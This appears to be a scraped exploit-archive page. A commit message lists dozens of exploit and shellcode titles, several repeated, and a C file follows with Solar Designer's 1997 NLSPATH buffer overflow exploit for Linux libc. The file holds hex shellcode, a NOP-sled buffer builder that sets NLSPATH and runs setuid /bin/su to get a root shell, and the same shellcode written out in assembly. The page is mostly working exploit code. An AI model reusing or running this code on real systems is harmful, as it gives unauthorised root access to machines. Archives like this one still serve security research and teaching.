880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
93 lines
No EOL
1.9 KiB
C
93 lines
No EOL
1.9 KiB
C
// source: https://www.securityfocus.com/bid/379/info
|
|
|
|
|
|
There is a serious vulnerability in linux libc affecting all Linux distributions using libc 5.2.18 and below. The vulnerability is centered around the NLSPATH environment variable. Through exporting the oversized and shell-code including buffer to the environment variable NLSPATH, it is possible to exploit any setuid root program that's based on libc [almost all] and gain root access on the machine.
|
|
|
|
|
|
--- nlspath.c ---
|
|
|
|
/*
|
|
* NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1
|
|
* Copyright (c) 1997 by Solar Designer
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
|
|
char *shellcode =
|
|
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
|
|
"\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
|
|
"\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
|
|
"\xcd\x80/"
|
|
"/bin/sh"
|
|
"0";
|
|
|
|
char *get_sp() {
|
|
asm("movl %esp,%eax");
|
|
}
|
|
|
|
#define bufsize 2048
|
|
char buffer[bufsize];
|
|
|
|
main() {
|
|
int i;
|
|
|
|
for (i = 0; i < bufsize - 4; i += 4)
|
|
*(char **)&buffer[i] = get_sp() - 3072;
|
|
|
|
memset(buffer, 0x90, 512);
|
|
memcpy(&buffer[512], shellcode, strlen(shellcode));
|
|
|
|
buffer[bufsize - 1] = 0;
|
|
|
|
setenv("NLSPATH", buffer, 1);
|
|
|
|
execl("/bin/su", "/bin/su", NULL);
|
|
}
|
|
|
|
--- nlspath.c ---
|
|
|
|
And the shellcode separately:
|
|
|
|
--- shellcode.s ---
|
|
|
|
.text
|
|
.globl shellcode
|
|
shellcode:
|
|
xorl %eax,%eax
|
|
movb $0x31,%al
|
|
int $0x80
|
|
xchgl %eax,%ebx
|
|
xorl %eax,%eax
|
|
movb $0x17,%al
|
|
int $0x80
|
|
.byte 0x68
|
|
popl %ecx
|
|
popl %eax
|
|
jmp *%ecx
|
|
call *%esp
|
|
xorl %eax,%eax
|
|
cltd
|
|
movl %ecx,%edi
|
|
movb $'/'-1,%al
|
|
incl %eax
|
|
scasb %es:(%edi),%al
|
|
jne -3
|
|
movl %edi,(%ecx)
|
|
movl %edx,4(%ecx)
|
|
movl %edi,%ebx
|
|
incl %eax
|
|
scasb %es:(%edi),%al
|
|
jne -3
|
|
movb %dl,-1(%edi)
|
|
movb $0x0B,%al
|
|
int $0x80
|
|
xorl %eax,%eax
|
|
incl %eax
|
|
xorl %ebx,%ebx
|
|
int $0x80
|
|
.byte '/'
|
|
.string "/bin/sh0"
|
|
|
|
--- shellcode.s --- |